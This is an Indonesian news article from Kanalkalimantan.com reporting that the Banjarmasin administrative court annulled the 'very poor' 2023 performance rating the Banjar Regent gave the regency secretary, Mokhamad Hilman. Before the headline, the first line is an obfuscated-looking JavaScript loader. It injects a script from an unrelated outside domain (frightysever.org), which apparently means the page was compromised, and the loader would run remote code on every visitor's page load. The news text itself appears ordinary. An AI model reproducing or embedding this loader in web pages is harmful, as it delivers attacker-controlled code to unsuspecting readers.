(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

PTUN Banjarmasin Kabulkan Gugatan Sekda Banjar Atas Bupati Banjar


KANALKALIMANTAN.COM, BANJARMASIN – Hakim Pengadilan Tata Usaha Negara (PTUN) Banjarmasin mengabulkan gugatan Sekretaris Daerah (Sekda) Kabupaten Banjar Dr Ir Mokhamad Hilman ST terkait penilaian kinerja dengan tergugat Bupati Banjar.

Penilaian kinerja “Sangat Kurang” yang diberikan Bupati Banjar terhadap kinerja Sekda Banjar tahun 2023 dianggap batal oleh Majelis Hakim yg diketuai Aning Widi Rahayu SH.

Dari amar putusan yang diterima Kanalkalimantan.com menyatakan bahwa eksepsi pihak tergugat tidak diterima seluruhnya dan mengabulkan permohonan penggugat.

“Pada pokok perkara, mengabulkan gugatan penggugat seluruhnya,” bunyi amar putusan majelis hakim.

Baca juga: Paman Birin Muncul Sehari Jelang Putusan Praperadilan

Pengadilan Tata Usaha Negara (PTUN) Banjarmasin. Foto: rizki

Majelis Hakim PTUN Banjarmasin menyatakan bahwa tindakan pemerintahan oleh tergugat yang memberikan penilaian predikat kinerja pegawai “Sangat Kurang” di dokumen evaluasi kinerja pegawai periode tahunan Pemerintah Kabupaten Banjar periode penilaian 1 Januari-31 Desember 2023 atas nama Dr Ir H Mokhamad Hilman ST MT diaplikasi e-kinerja pada tanggal 7 Februari 2024, batal.

Kemudian, tergugat diwajibkan untuk menghapus penilaian dokumen evaluasi kinerja pegawai periode tahunan Pemerintah Kabupaten Banjar. Dan tergugat diwajibkan untuk kembali melakukan penilaian kinerja pegawai sesuai peraturan perundang-undangan yang berlaku.

“Menghukum tergugat untuk membayar biaya perkara sejumlah Rp362. 000,” bunyi amar putusan PTUN Banjarmasin.

Baca juga: Penghargaan untuk PNS dan PTT Kabupaten Banjar Berkinerja Terbaik

Humas PTUN Banjarmasin Maryam Nur Hidayati SH membenarkan bahwa putusan perkara gugatan Sekda Banjar dengan tergugat Bupati Banjar dibacakan pada Senin (11/11/2024). Putusan dibacakan secara online atau e-court.

“Putusan perkara nomor 34/G/TF/2024/PTUN.BJM dibacakan hari ini melalui e-court,” katanya ditemui di PTUN Banjarmasin, Senin (11/11/2024) siang.

Mariam menjelaskan para pihak yang tidak puas terhadap putusan Majelis Hakim PTUN di tingkat pertama dapat melakukan upaya hukum banding ke Pengadilan Tinggi (PT) Banjarmasin.

Baca juga: Penghargaan Kemen PU untuk Dinas PUPRP Kabupaten Banjar

Sementara itu, Kuasa hukum Sekda Banjar, Darul Huda Mustaqim SH MH menyambut baik putusan PTUN Banjarmasin yang mengabulkan gugatan mereka.

Menurut kuasa hukum penggugat, berdasarkan putusan pengadilan tersebut penilaian kinerja yang diberikan Bupati Banjar kepada kliennya menjadi tidak sah atau batal.

“Kami selaku kuasa hukum menilai putusan majelis hakim sesuai dengan fakta hukum yang terkuak di persidangan. Kami sebagai penggugat dapat membuktikan dalil-dalil yang kami ajukan di hadapan majelis, sehingga kami menerima putusan dari majelis hakim,” katanya.

Baca juga: Muncul ke Publik Pimpin Apel Pagi, Paman Birin: Saya Ada di Banua

Sebelumnya Sekda Kabupaten Banjar, Mokhamad Hilman menggugat Bupati Banjar ke PTUN Banjarmasin karena tidak terima kinerja dirinya sebagai Sekda Banjar periode 2023 diberikan predikat penilaian sangat kurang oleh Bupati Banjar.

Sementara mengacu pada evaluasi kinerja kepegawaian, ada 5 predikat penilaian terhadap hasil kerja dan perilaku kerja. Yaitu sangat baik, baik, butuh perbaikan, jurang, dan yang terakhir predikat sangat kurang.

“Dengan hasil penilaian ini (sangat kurang), saya merasa sangat dirugikan, sangat berdampak kepada karier kepegawaian saya lakoni sebagai pekerjaan dan rintis selama 29 tahun,” kata Sekda Banjar.

Baca juga: Jadwal Debat Pilgub Kalsel Dimajukan, Panelis Bertambah

Hilman menyebut, penilaian yang diberikan kepadanya bersifat subyektif, tanpa mempertimbangkan kontribusi dirinya selaku Sekda Banjar kepada kinerja pemerintah Kabupaten Banjar yang ditetapkan dengan kinerja baik.

Dirinya, kata Hilman juga telah melakukan upaya keberatan dengan menyampaikan secara tertulis dan banding administratif. Namun, karena tidak dijawab dan ditolak, sehingga penilaian predikat sangat kurang kepada dirinya itu menjadi final.

Oleh karena itu, melalui tim kuasa hukumnya, Sekda Banjar mendaftarkan gugatan ke PTUN Banjarmasin meminta dibatalkan penilaian terhadap kinerjanya tersebut. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Sumbang Ide Anak Muda Banjarbaru Kurangi Sampah Plastik

KANALKALIMANTAN.COM,BANJARBARU - Ide menginspirasi peran aktif generasi muda dalam menjaga lingkungan, Basakalimantan Wiki mengadakan kegiatan… Read More

1 jam ago

Pjs Wali Kota Nurliani Pimpin Rakor Camat dan Lurah

KANALKALIMANTAN.COM,BANJARBARU - Pjs Wali Kota Banjabaru Dra Hj Nurliani MAP memimpin rapat koordinasi (Rakor) Camat… Read More

2 jam ago

Sekda HSU : Netralitas ASN, Tidak Memihak Kepentingan Siapapun

KANALKALIMANTAN.COM, AMUNTAI – Netralitas Aparatur Sipil Negara (ASN) menjadi topik utama Rapat Koordinasi (Rakor) Badan… Read More

2 jam ago

Pjs Bupati Banjar Audiensi ke Kakanwilkumham Kalsel, Ini yang Dibahas

KANALKALIMANTAN.COM, BANJARMASIN - Pjs Bupati Banjar Akhmad Fydayeen melakukan audiensi dengan Kepala Kantor Wilayah Kementerian… Read More

3 jam ago

Bappedalitbang Banjar Identifikasi Permasalahan dalam Pengelolaan Air Limbah Domestik

KANALKALIMANTAN.COM, MARTAPURA - Kepala Bappedalitbang Kabupaten Banjar, Nashrullah Shadiq membuka Ekspose Laporan Antara Penyusunan Dokumen… Read More

3 jam ago

Muncul Menang Mundur Paman Birin di Sisa Jabatan 3 Bulan

Wamendagri : Surat ke Presiden dan DPRD Read More

3 jam ago

This website uses cookies.